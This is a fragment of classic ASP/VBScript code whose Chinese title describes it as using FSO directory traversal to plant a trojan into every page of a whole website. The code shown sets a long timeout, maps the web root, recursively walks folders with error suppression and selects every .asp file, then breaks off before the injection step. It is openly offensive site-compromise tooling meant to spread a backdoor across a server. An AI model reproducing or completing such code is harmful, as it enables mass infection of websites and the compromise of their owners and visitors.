FSO遍历目录实现全站插马的代码

<% dim ph dim intfile server.ScriptTimeout = 600 ph=server.mappath(“/”)  Sub InsertAllFiles(Path) Set FSO = CreateObject(“Scripting.FileSystemObject”) on error resume next  Set f = FSO.GetFolder(Path) Set fc2 = f.files For Each myfile in fc2 If lcase(FSO.GetExtensionName(path&””&myfile.name))=”asp”